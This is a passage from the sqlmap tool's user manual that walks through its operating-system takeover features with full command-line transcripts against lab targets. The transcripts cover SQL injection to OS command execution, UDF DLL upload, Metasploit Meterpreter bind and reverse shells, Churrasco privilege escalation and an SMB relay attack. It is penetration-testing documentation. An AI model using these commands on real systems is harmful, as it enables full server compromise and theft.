[hh:mm:58] [INFO] testing inband sql injection on parameter 'name' with NULL bruteforcing 
technique
[hh:mm:58] [INFO] confirming full inband sql injection on parameter 'name'
[hh:mm:58] [WARNING] the target url is not affected by an exploitable full inband sql 
injection vulnerability
[hh:mm:58] [INFO] confirming partial (single entry) inband sql injection on parameter 'name' 
by appending a false condition after the parameter value
[hh:mm:58] [INFO] the target url is affected by an exploitable partial (single entry) inband 
sql injection vulnerability
valid union:    'http://192.168.1.121:80/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION 
ALL SELECT NULL, NULL, NULL-- AND 'SonLv'='SonLv'

[hh:mm:58] [INFO] testing stacked queries support on parameter 'name'
[hh:mm:03] [INFO] the web application supports stacked queries on parameter 'name'
[hh:mm:03] [INFO] testing if current user is DBA
[hh:mm:03] [INFO] checking if xp_cmdshell extended procedure is available, wait..
[hh:mm:09] [INFO] xp_cmdshell extended procedure is available
do you want to retrieve the command standard output? [Y/n] 
[hh:mm:11] [INFO] the SQL query provided returns 1 entries
command standard output:
---
nt authority\network service
---
</verb></tscreen>

<p>
It is also possible to simulate a real shell where you can type as many
arbitrary commands as you wish. The option is <tt>--os-shell</tt> and has
the same TAB completion and history functionalities implemented for
<tt>--sql-shell</tt>.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.aspx?id=1" \
  --os-shell -v 2

[...]
[hh:mm:36] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[hh:mm:36] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:36] [INFO] detecting back-end DBMS version from its banner
[hh:mm:36] [DEBUG] query: IFNULL(CAST(MID((VERSION()), 1, 6) AS CHAR(10000)), CHAR(32))
[hh:mm:36] [INFO] retrieved: 5.0.67
[hh:mm:37] [DEBUG] performed 49 queries in 1 seconds
[hh:mm:37] [DEBUG] query: SELECT SLEEP(5)
[hh:mm:42] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:42] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:42] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:42] [DEBUG] query: CREATE TABLE sqlmapfile(data text)
[hh:mm:42] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
[hh:mm:42] [DEBUG] query: SELECT IFNULL(CAST(MID(@@datadir, 1, 1) AS CHAR(10000)), CHAR(32))
[hh:mm:42] [INFO] retrieved: C
[hh:mm:42] [DEBUG] performed 14 queries in 0 seconds
[hh:mm:42] [INFO] the back-end DBMS operating system is Windows
[hh:mm:42] [DEBUG] cleaning up the database management system
[hh:mm:42] [DEBUG] removing support tables
[hh:mm:42] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:42] [INFO] testing if current user is DBA
[hh:mm:42] [DEBUG] query: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=
(SUBSTRING_INDEX(CURRENT_USER(), CHAR(64), 1)) LIMIT 0, 1)=CHAR(89)) THEN 1 ELSE 0 END)
[hh:mm:42] [INFO] retrieved: 1
[hh:mm:43] [DEBUG] performed 5 queries in 0 seconds
[hh:mm:43] [INFO] checking if sys_exec UDF already exist
[hh:mm:43] [DEBUG] query: SELECT (CASE WHEN ((SELECT name FROM mysql.func WHERE name=
CHAR(115,121,115,95,101,120,101,99) LIMIT 0, 1)=CHAR(115,121,115,95,101,120,101,99)) 
THEN 1 ELSE 0 END)
[hh:mm:43] [INFO] retrieved: 0
[hh:mm:43] [DEBUG] performed 14 queries in 0 seconds
[hh:mm:43] [INFO] checking if sys_eval UDF already exist
[hh:mm:43] [DEBUG] query: SELECT (CASE WHEN ((SELECT name FROM mysql.func WHERE name=
CHAR(115,121,115,95,101,118,97,108) LIMIT 0, 1)=CHAR(115,121,115,95,101,118,97,108)) 
THEN 1 ELSE 0 END)
[hh:mm:43] [INFO] retrieved: 0
[hh:mm:43] [DEBUG] performed 14 queries in 0 seconds
[hh:mm:43] [DEBUG] going to upload the binary file with stacked query SQL injection technique
[hh:mm:43] [DEBUG] creating a support table to write the hexadecimal encoded file to
[hh:mm:43] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:43] [DEBUG] query: CREATE TABLE sqlmapfile(data longblob)
[hh:mm:43] [DEBUG] encoding file to its hexadecimal string value
[hh:mm:43] [DEBUG] forging SQL statements to write the hexadecimal encoded file to the 
support table
[hh:mm:43] [DEBUG] inserting the hexadecimal encoded file to the support table
[hh:mm:43] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (0x4d5a90 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x000000 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0xffcbff [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x490068 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x1c5485 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x14cc63 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x207665 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x5c5379 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x0e5bc2 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x505357 [...])
[hh:mm:43] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x000000 [...])
[hh:mm:44] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0x696372 [...])
[hh:mm:44] [DEBUG] query: UPDATE sqlmapfile SET data=CONCAT(data,0xdd8400 [...])
[hh:mm:44] [DEBUG] exporting the binary file content to file './libsqlmapudftxxgk.dll'
[hh:mm:44] [DEBUG] query: SELECT data FROM sqlmapfile INTO DUMPFILE './libsqlmapudftxxgk.dll'
[hh:mm:44] [DEBUG] cleaning up the database management system
[hh:mm:44] [DEBUG] removing support tables
[hh:mm:44] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:44] [INFO] creating sys_exec UDF from the binary UDF file
[hh:mm:44] [DEBUG] query: DROP FUNCTION sys_exec
[hh:mm:44] [DEBUG] query: CREATE FUNCTION sys_exec RETURNS int SONAME 'libsqlmapudftxxgk.dll'
[hh:mm:44] [INFO] creating sys_eval UDF from the binary UDF file
[hh:mm:44] [DEBUG] query: DROP FUNCTION sys_eval
[hh:mm:44] [DEBUG] query: CREATE FUNCTION sys_eval RETURNS string SONAME 
'libsqlmapudftxxgk.dll'
[hh:mm:44] [DEBUG] creating a support table to write commands standard output to
[hh:mm:44] [DEBUG] query: DROP TABLE sqlmapoutput
[hh:mm:44] [DEBUG] query: CREATE TABLE sqlmapoutput(data longtext)
[hh:mm:44] [INFO] going to use injected sys_eval and sys_exec user-defined functions for 
operating system command execution
[hh:mm:44] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n] 
[hh:mm:41] [DEBUG] query: INSERT INTO sqlmapoutput(data) VALUES (sys_eval('whoami'))
[hh:mm:41] [DEBUG] query: SELECT IFNULL(CAST(data AS CHAR(10000)), CHAR(32)) FROM 
sqlmapoutput
[hh:mm:41] [INFO] retrieved: nt authority\system
[hh:mm:44] [DEBUG] performed 140 queries in 2 seconds
[hh:mm:44] [DEBUG] query: DELETE FROM sqlmapoutput
command standard output:    'nt authority\system'

os-shell> [TAB TAB]
copy         del          dir          echo         md           mem          move         
net          netstat -na  ver          whoami       xcopy        

os-shell> exit
[hh:mm:51] [INFO] cleaning up the database management system
[hh:mm:51] [DEBUG] removing support tables
[hh:mm:51] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:51] [DEBUG] query: DROP TABLE sqlmapoutput
do you want to remove sys_exec UDF? [Y/n] n
do you want to remove sys_eval UDF? [Y/n] n
[hh:mm:04] [INFO] database management system cleanup finished
[hh:mm:04] [WARNING] remember that UDF dynamic-link library files saved on the file system 
can only be deleted manually
</verb></tscreen>

<p>
Now run it again, but specifying the <tt>--union-use</tt> to retrieve the
command standard output quicker, via UNION based SQL injection, when the
parameter is affected also by inband SQL injection vulnerability:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.aspx?id=1" \
  --os-shell -v 2 --union-use

[...]
[hh:mm:16] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[hh:mm:16] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing 
technique
[hh:mm:16] [INFO] confirming full inband sql injection on parameter 'id'
[hh:mm:16] [INFO] the target url is affected by an exploitable full inband sql injection 
vulnerability
valid union:    'http://192.168.1.121:80/sqlmap/mysql/iis/get_int.aspx?id=1 UNION ALL SELECT 
NULL, NULL, NULL# AND 528=528'

[hh:mm:16] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:16] [INFO] detecting back-end DBMS version from its banner
[hh:mm:16] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),
MID((VERSION()), 1, 6),CHAR(117,114,115,75,117,102)), NULL# AND 3173=3173
[hh:mm:16] [DEBUG] performed 1 queries in 0 seconds
[hh:mm:16] [DEBUG] query: SELECT SLEEP(5)
[hh:mm:21] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:21] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:21] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:21] [DEBUG] query: CREATE TABLE sqlmapfile(data text)
[hh:mm:21] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION())
[hh:mm:21] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),
MID(@@datadir, 1, 1),CHAR(117,114,115,75,117,102)), NULL# AND 6574=6574
[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds
[hh:mm:21] [INFO] the back-end DBMS operating system is Windows
[hh:mm:21] [DEBUG] cleaning up the database management system
[hh:mm:21] [DEBUG] removing support tables
[hh:mm:21] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:21] [INFO] testing if current user is DBA
[hh:mm:21] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE 
WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), CHAR(64), 
1)) LIMIT 0, 1)=CHAR(89)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL# AND 19=19
[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds
[hh:mm:21] [INFO] checking if sys_exec UDF already exist
[hh:mm:21] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE WHEN 
((SELECT name FROM mysql.func WHERE name=CHAR(115,121,115,95,101,120,101,99) LIMIT 0, 1)=
CHAR(115,121,115,95,101,120,101,99)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL# 
AND 4900=4900
[hh:mm:21] [DEBUG] performed 1 queries in 0 seconds
sys_exec UDF already exists, do you want to overwrite it? [y/N] n
[hh:mm:24] [INFO] checking if sys_eval UDF already exist
[hh:mm:24] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),(CASE WHEN 
((SELECT name FROM mysql.func WHERE name=CHAR(115,121,115,95,101,118,97,108) LIMIT 0, 1)=
CHAR(115,121,115,95,101,118,97,108)) THEN 1 ELSE 0 END),CHAR(117,114,115,75,117,102)), NULL# 
AND 4437=4437
[hh:mm:24] [DEBUG] performed 1 queries in 0 seconds
sys_eval UDF already exists, do you want to overwrite it? [y/N] n
[hh:mm:25] [DEBUG] keeping existing sys_exec UDF as requested
[hh:mm:25] [DEBUG] keeping existing sys_eval UDF as requested
[hh:mm:25] [DEBUG] creating a support table to write commands standard output to
[hh:mm:25] [DEBUG] query: DROP TABLE sqlmapoutput
[hh:mm:25] [DEBUG] query: CREATE TABLE sqlmapoutput(data longtext)
[hh:mm:25] [INFO] going to use injected sys_eval and sys_exec user-defined functions for 
operating system command execution
[hh:mm:25] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ipconfig
do you want to retrieve the command standard output? [Y/n] 
[hh:mm:29] [DEBUG] query: INSERT INTO sqlmapoutput(data) VALUES (sys_eval('ipconfig'))
[hh:mm:29] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(83,81,73,103,75,77),IFNULL(CAST
(data AS CHAR(10000)), CHAR(32)),CHAR(117,114,115,75,117,102)), NULL FROM sqlmapoutput# AND 
7106=7106
[hh:mm:29] [DEBUG] performed 1 queries in 0 seconds
[hh:mm:29] [DEBUG] query: DELETE FROM sqlmapoutput
command standard output:
---

Windows IP Configuration


Ethernet adapter Local Area Connection 2:

   Connection-specific DNS Suffix  . : localdomain
   IP Address. . . . . . . . . . . . : 192.168.1.121
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
---Default Gateway . . . . . . . . . : 192.168.1.1

os-shell> exit
[hh:mm:41] [INFO] cleaning up the database management system
[hh:mm:41] [DEBUG] removing support tables
[hh:mm:41] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:41] [DEBUG] query: DROP TABLE sqlmapoutput
do you want to remove sys_exec UDF? [Y/n] n
do you want to remove sys_eval UDF? [Y/n] n
[hh:mm:54] [INFO] database management system cleanup finished
[hh:mm:54] [WARNING] remember that UDF dynamic-link library files saved on the file system 
can only be deleted manually
</verb></tscreen>

<p>
As you can see from this second example, sqlmap firstly check if the two
user-defined functions are already created, if so, it asks the user if he
wants to recreate them or keep them and save time.


<sect2>Prompt for an out-of-band shell, meterpreter or VNC

<p>
Options: <tt>--os-pwn</tt>, <tt>--priv-esc</tt>, <tt>--msf-path</tt> and <tt>--tmp-path</tt>

<p>
It is possible to establish an <bf>out-of-band TCP stateful channel</bf>
between the attacker and the underlying operating system by using the
exploited SQL injection as a stepping stone. This is implemented for MySQL,
PostgreSQL and Microsoft SQL Server.
sqlmap relies on the <htmlurl url="http://metasploit.com/framework"
name="Metasploit"> to perform this attack, so you need to have it already
on your system: it's free and can be downloaded from the homepage. It is
required to use Metasploit Framework version 3.3.3 or above.

<p>
Note that this feature is not supported by sqlmap running on Windows
because Metasploit's msfconsole and msfcli are not supported on the native
Windows Ruby interpreter.

<p>
These techniques are detailed on the white paper
<htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control">.

<p>
Example on a <bf>MySQL 5.0.67</bf> target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.aspx?id=1" \
  --os-pwn -v 1 --msf-path /home/inquis/software/metasploit

[...]
[hh:mm:17] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[hh:mm:17] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:17] [INFO] detecting back-end DBMS version from its banner
[hh:mm:17] [INFO] retrieved: 5.0.67
[hh:mm:23] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:23] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:23] [INFO] retrieved: C
[hh:mm:23] [INFO] the back-end DBMS operating system is Windows
[hh:mm:23] [INFO] testing if current user is DBA
[hh:mm:23] [INFO] retrieved: 1
[hh:mm:23] [INFO] checking if sys_exec UDF already exist
[hh:mm:23] [INFO] retrieved: 1
[hh:mm:24] [INFO] sys_exec UDF already exists, do you want to overwrite it? [y/N] N
[hh:mm:24] [INFO] checking if sys_eval UDF already exist
[hh:mm:24] [INFO] retrieved: 1
[hh:mm:24] [INFO] sys_eval UDF already exists, do you want to overwrite it? [y/N] N
[hh:mm:24] [INFO] creating Metasploit Framework 3 payload stager
[hh:mm:24] [INFO] which connection type do you want to use?
[1] Bind TCP (default)
[2] Bind TCP (No NX)
[3] Reverse TCP
[4] Reverse TCP (No NX)
> 1
[hh:mm:24] [INFO] which is the back-end DBMS address? [192.168.1.121] 192.168.1.121
[hh:mm:24] [INFO] which remote port numer do you want to use? [61588] 61588
[hh:mm:24] [INFO] which payload do you want to use?
[1] Reflective Meterpreter (default)
[2] PatchUp Meterpreter (only from Metasploit development revision 6742)
[3] Shell
[4] Reflective VNC
[5] PatchUp VNC (only from Metasploit development revision 6742)
> 1
[hh:mm:24] [INFO] which payload encoding do you want to use?
[1] No Encoder
[2] Alpha2 Alphanumeric Mixedcase Encoder
[3] Alpha2 Alphanumeric Uppercase Encoder
[4] Avoid UTF8/tolower
[5] Call+4 Dword XOR Encoder
[6] Single-byte XOR Countdown Encoder
[7] Variable-length Fnstenv/mov Dword XOR Encoder
[8] Polymorphic Jump/Call XOR Additive Feedback Encoder
[9] Non-Alpha Encoder
[10] Non-Upper Encoder
[11] Polymorphic XOR Additive Feedback Encoder (default)
[12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
[13] Alpha2 Alphanumeric Unicode Uppercase Encoder
> 11
[hh:mm:24] [INFO] creation in progress .................. done
[hh:mm:42] [INFO] compression in progress . quit unexpectedly with return code 1
[hh:mm:43] [INFO] failed to compress the file because you provided a Metasploit version 
above 3.3-dev revision 6681. This will not inficiate the correct execution of sqlmap. 
It might only slow down a bit the execution of sqlmap
[hh:mm:43] [INFO] uploading payload stager to 'C:/WINDOWS/Temp/sqlmapmsfgcpge.exe'
[hh:mm:44] [INFO] running Metasploit Framework 3 command line interface locally, wait..
[hh:mm:44] [INFO] running Metasploit Framework 3 payload stager remotely, wait..
[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.1.161:47832 -> 192.168.1.121:61588)

meterpreter > Loading extension priv...success.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0



VMware Accelerated AMD PCNet Adapter
Hardware MAC: 00:0c:29:29:ee:86
IP Address  : 192.168.1.121
Netmask     : 255.255.255.0


meterpreter > pwd
C:\Program Files\MySQL\MySQL Server 5.0\Data
meterpreter > exit
</verb></tscreen>

<p>
By default MySQL on Windows runs as <tt>SYSTEM</tt>, however PostgreSQL
run as a low-privileged user <tt>postgres</tt> on both Windows and Linux.
Microsoft SQL Server 2000 by default runs as <tt>SYSTEM</tt>, whereas
Microsoft SQL Server 2005 and 2008 run most of the times as <tt>NETWORK
SERVICE</tt> and sometimes as <tt>LOCAL SERVICE</tt>.

It is possible to provide sqlmap with the <tt>--priv-esc</tt> option to
abuse Windows access tokens and escalate privileges to <tt>SYSTEM</tt>
within the Meterpreter session created if the underlying operating system
is not patched against Microsoft Security Bulletin
<htmlurl url="http://www.microsoft.com/technet/security/Bulletin/MS09-012.mspx" name="MS09-012">.
sqlmap performs the
<htmlurl url="http://www.argeniss.com/research/TokenKidnapping.pdf" name="Windows Token kidnapping">
technique by uploading <htmlurl url="http://www.argeniss.com/research/Churrasco.zip" name="Churrasco">
local exploit and using it to call the Metasploit's payload stager
executable. sqlmap uses also the Metasploit's Meterpreter
<htmlurl url="http://sourceforge.net/projects/incognito/" name="incognito">
extension to abused Windows access tokens in conjunction to Churrasco
stand-alone exploit if the user wants so.

<p>
Note that this feature is not supported by sqlmap installed from the
DEB package because it relies on Churrasco, which is not explicitly free
software so it has not been included in the package.

<p>
This technique is detailed on the white paper
<htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control">.

<p>
Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> running as
<tt>NETWORK SERVICE</tt> on the target:

<tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/iis/get_str2.asp?name=luther" \
  --os-pwn -v 1 --msf-path /home/inquis/software/metasploit --priv-esc

[...]
[hh:mm:17] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:17] [INFO] testing stacked queries support on parameter 'name'
[hh:mm:22] [INFO] the web application supports stacked queries on parameter 'name'
[hh:mm:22] [INFO] testing if current user is DBA
[hh:mm:22] [INFO] retrieved: 1
[hh:mm:23] [INFO] checking if xp_cmdshell extended procedure is available, wait..
[hh:mm:29] [INFO] xp_cmdshell extended procedure is available
[hh:mm:29] [INFO] creating Metasploit Framework 3 payload stager
which connection type do you want to use?
[1] Bind TCP (default)
[2] Bind TCP (No NX)
[3] Reverse TCP
[4] Reverse TCP (No NX)
> 3
which is the local address? [192.168.1.161] 
which local port numer do you want to use? [61499] 
[hh:mm:54] [INFO] forcing Metasploit payload to Meterpreter because it is the only payload 
that can be used to abuse Windows Impersonation Tokens via Meterpreter 'incognito' 
extension to privilege escalate
which payload encoding do you want to use?
[1] No Encoder
[2] Alpha2 Alphanumeric Mixedcase Encoder
[3] Alpha2 Alphanumeric Uppercase Encoder
[4] Avoid UTF8/tolower
[5] Call+4 Dword XOR Encoder
[6] Single-byte XOR Countdown Encoder
[7] Variable-length Fnstenv/mov Dword XOR Encoder
[8] Polymorphic Jump/Call XOR Additive Feedback Encoder
[9] Non-Alpha Encoder
[10] Non-Upper Encoder
[11] Polymorphic XOR Additive Feedback Encoder (default)
[12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
[13] Alpha2 Alphanumeric Unicode Uppercase Encoder
> 
[hh:mm:58] [INFO] creation in progress .................. done
[hh:mm:16] [INFO] compression in progress . quit unexpectedly with return code 1
[hh:mm:17] [INFO] failed to compress the file because you provided a Metasploit version 
above 3.3-dev revision 6681. This will not inficiate the correct execution of sqlmap. 
It might only slow down a bit the execution of sqlmap
[hh:mm:17] [INFO] uploading payload stager to 'C:/WINDOWS/Temp/sqlmapmsfyahls.exe'
[hh:mm:20] [WARNING] often Microsoft SQL Server 2005 runs as Network Service which has no 
Windows Impersonation Tokens within all threads, this makes Meterpreter's incognito 
extension to fail to list tokens
do you want sqlmap to upload Churrasco and call the Metasploit payload stager as its 
argument so that it will be started as SYSTEM? [Y/n] y
[hh:mm:36] [INFO] the binary file is bigger than 65280 bytes. sqlmap will split it into 
chunks, upload them and recreate the original file out of the binary chunks server-side, 
wait..
[hh:mm:22] [INFO] file chunk 1 written
[14:10:06] [INFO] file chunk 2 written
[14:10:06] [INFO] running Metasploit Framework 3 command line interface locally, wait..
[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[14:10:31] [INFO] running Metasploit Framework 3 payload stager remotely, wait..
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.1.161:61499 -> 192.168.1.131:3221)

meterpreter > 
[14:11:01] [INFO] loading Meterpreter 'incognito' extension and displaying the list of 
Access Tokens availables. Choose which user you want to impersonate by using incognito's 
command 'impersonate_token'
Loading extension priv...success.
meterpreter > Loading extension incognito...success.
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > 
Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
W2K3DEV\Administrator
W2K3DEV\IUSR_WIN2003
W2K3DEV\postgres

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit
</verb></tscreen>


<sect2>One click prompt for an out-of-band shell, meterpreter or VNC

<p>
Options: <tt>--os-smbrelay</tt>, <tt>--priv-esc</tt> and <tt>--msf-path</tt>

<p>
If the back-end database management system runs as <tt>Administrator</tt>
and the underlying operating system is not patched against Microsoft
Security Bulletin <htmlurl url="http://www.microsoft.com/technet/security/Bulletin/MS08-068.mspx" name="MS08-068">,
sqlmap can abuse the universal naming convention (UNC) supported within
all database management systems to force the database server to initiate a
SMB connection with the attacker host, then perform a SMB authentication
relay attack in order to establish a high-privileged <bf>out-of-band TCP
stateful channel</bf> between the attacker host and the target database
server.
sqlmap relies on <htmlurl url="http://metasploit.com/framework"
name="Metasploit">'s SMB relay exploit to perform this attack, so you need
to have it already on your system: it's free and can be downloaded from the
homepage.
You need to run sqlmap as <bf>root</bf> user if you want to perform a SMB
relay attack because it will need to listen on a user-specified SMB TCP
port for incoming connection attempts.

<p>
Note that this feature is not supported by sqlmap running on Windows
because Metasploit's msfconsole and msfcli are not supported on the native
Windows Ruby interpreter.

<p>
This technique is detailed on the white paper
<htmlurl url="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf" name="Advanced SQL injection to operating system full control">.

<p>
Example on a <bf>Microsoft SQL Server 2005 Service Pack 0</bf> running as
<tt>Administrator</tt> on the target:

<tscreen><verb>
$ sudo python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/iis/get_str2.asp?name=luther" \
  --os-smbrelay -v 1 --msf-path /home/inquis/software/metasploit

[...]
[hh:mm:11] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:11] [INFO] testing stacked queries support on parameter 'name'
[hh:mm:16] [INFO] the web application supports stacked queries on parameter 'name'
[hh:mm:16] [WARNING] it is unlikely that this attack will be successful because often 
Microsoft SQL Server 2005 runs as Network Service which is not a real user, it does not 
send the NTLM session hash when connecting to a SMB service
[hh:mm:16] [INFO] which connection type do you want to use?
[1] Bind TCP (default)
[2] Bind TCP (No NX)
[3] Reverse TCP
[4] Reverse TCP (No NX)
> 1
[hh:mm:16] [INFO] which is the local address? [192.168.1.161] 192.168.1.161
[hh:mm:16] [INFO] which is the back-end DBMS address? [192.168.1.131] 192.168.1.131
[hh:mm:16] [INFO] which remote port numer do you want to use? [4907] 4907
[hh:mm:16] [INFO] which payload do you want to use?
[1] Reflective Meterpreter (default)
[2] PatchUp Meterpreter (only from Metasploit development revision 6742)
[3] Shell
[4] Reflective VNC
[5] PatchUp VNC (only from Metasploit development revision 6742)
> 1
[hh:mm:16] [INFO] which SMB port do you want to use?
[1] 139/TCP (default)
[2] 445/TCP
> 1
[hh:mm:16] [INFO] running Metasploit Framework 3 console locally, wait..

                _                  _       _ _
               | |                | |     (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                            | |
                            |_|


       =[ msf v3.3-dev
+ -- --=[ 392 exploits - 234 payloads
+ -- --=[ 20 encoders - 7 nops
       =[ 168 aux

resource> use windows/smb/smb_relay
resource> set SRVHOST 192.168.1.161
SRVHOST => 192.168.1.161
resource> set SRVPORT 139
SRVPORT => 139
resource> set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
resource> set LPORT 4907
LPORT => 4907
resource> set RHOST 192.168.1.131
RHOST => 192.168.1.131
resource> exploit
[*] Exploit running as background job.
msf exploit(smb_relay) > 
[*] Started bind handler
[*] Server started.
[*] Received 192.168.1.131:3242 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 
Service Pack 2 LM:
[*] Sending Access Denied to 192.168.1.131:3242 \
[*] Received 192.168.1.131:3242 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows 
Server 2003 3790 Service Pack 2 LM:
[*] Authenticating to 192.168.1.131 as W2K3DEV\Administrator...
[*] AUTHENTICATED as W2K3DEV\Administrator...
[*] Connecting to the ADMIN$ share...
[*] Regenerating the payload...
[*] Uploading payload...
[*] Created \wELRmcmd.exe...
[*] Connecting to the Service Control Manager...
[*] Obtaining a service manager handle...
[*] Creating a new service...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \wELRmcmd.exe...
[*] Sending Access Denied to 192.168.1.131:3242 W2K3DEV\Administrator
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Received 192.168.1.131:3244 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 
Service Pack 2 LM:
[*] Sending Access Denied to 192.168.1.131:3244 \
[*] Received 192.168.1.131:3244 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows 
Server 2003 3790 Service Pack 2 LM:
[*] Authenticating to 192.168.1.131 as W2K3DEV\Administrator...
[*] AUTHENTICATED as W2K3DEV\Administrator...
[*] Ignoring request from 192.168.1.131, attack already in progress.
[*] Sending Access Denied to 192.168.1.131:3244 W2K3DEV\Administrator
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.1.161:51813 -> 192.168.1.131:4907)

Active sessions
===============

